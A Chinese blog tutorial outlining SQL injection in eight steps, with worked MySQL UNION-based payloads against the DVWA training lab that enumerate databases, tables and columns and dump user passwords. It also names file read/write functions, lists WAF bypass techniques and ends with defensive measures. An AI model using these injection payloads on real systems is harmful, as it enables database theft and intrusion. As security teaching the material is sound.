SQL注入-从入门到精通必走的八步

说明:目前只介绍了Mysql和如何防御,后续补充其他。

一、数据库类型

1. Access

2. Mysql

mysql 5.0以上的版本存在一个information_schema的数据库,它记录着所有的数据库、表明、列名。
mysql数据库中“.”代表下级,where指定条件,group_concat()查询所有,limit x,1查询多个数据。

  • 判断注入

猜解字段数:id=1 order by 利用二分法猜解直到页面显示正常。
报错回显准备:id=-1 union select 加字段数。

/*记录所有库名*/select * from information_schema.schemata
/*记录所有表名*/select * from information_schema.tables
/*记录所有列名*/select * from information_schema.columns
/*数据库表名*/table_schema
/*数据库列名*/column_schema
/*库名*/schema_name
/*表名*/table_name
/*列名*/column_name
  • 信息收集
/*操作系统*/@@version_compile_os
/*数据库版本*/version()
/*数据库名*/database()
/*数据库用户*/user()

获取路径信息的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

  • 常规注入

低版本:暴力查询或结合读取查询。
高版本:information_schema有据查询。

id=1 order by 1,2,3,4,5,6

在这里插入图片描述

id=1 order by 1,2,3

在这里插入图片描述

id=-1 union select 1,2,3

在这里插入图片描述

id=-1 union select 1,@@version_compile_os,version()

在这里插入图片描述

id=-1 union select 1,database(),user()

在这里插入图片描述

  • 高权限注入

跨库查询:

  • 利用group_concat(schema_name)information_schema.schemata进行查询所有数据库名。
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

在这里插入图片描述

  • 利用group_concat(table_name)information_schema.tables并指定table_schema = 'dvwa'进行查询dvwa下的所有表名。
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'dvwa'

在这里插入图片描述

  • 利用group_concat(column_name)information_schema.columns并指定table_schema = 'users'table_schema = 'dvwa'进行查询dvwausers表的所有列名。
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'dvwa'

在这里插入图片描述

  • 到此,通过跨库成功获取指定数据库的信息。
id=-1 union select 1,user,password from dvwa.users

在这里插入图片描述

  • 文件读写

存在魔术引导利用编码或宽字节绕过

/*读取函数*/load_file()
/*写入函数*/into outfile
/*导出函数*/into dumpfile
  • 相关防注入

自带防御:魔术引导
内置函数:init等
自定义关键字:select等
WAF防护:安全狗等

3. Mssql

4. Oracle

5. Postsql

6. Sqlite

7. Mongodb

二、提交方法

1. get

2. post

3. cookie

4. request

5. http头

三、数据类型

1. 数字型

2. 字符型

3. 搜索型

四、查询方法

1. SELECT

2. INSERT

3. DELETE

4. UPDATE

5. ORDER BY

五、回显盲注

1. 回显注入

2. 无回显注入

3. 延时盲注

4. 布尔盲注

六、注入拓展

1. 加解密注入

2. JSON注入

3. LADB注入

4. DNSlog注入

5. 二次注入

6. 堆叠查询

七、WAF绕过

1. 更改提交方法

2. 大小写混合

3. 解密编码类

4. 注释符混用

5. 等价函数替换

6. 特殊符号混用

7. 借助数据库特性

8. http参数污染

9. 垃圾数据溢出

八、如何防御

  1. 部署WAF,对输入进行过滤,限制输入长度,限制好数据库权限。
  2. 预编译好sql语句,使用特殊符号作占位符,注意缓存溢出、终止字符。
  3. 数据库信息加密安全,一次md5后加盐再md5。
  4. 使用存储过程或参数化视图作为数据访问的接口。
  5. 不要向终端用户公开详细的错误信息,避免泄露敏感信息。
  6. 定期更新应用程序和数据库系统的最新版本,更新漏洞补丁。
  7. 定期进行安全审计和漏洞扫描,修复已知漏洞,关闭应用的错误提示。

后续补充

  • 22
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值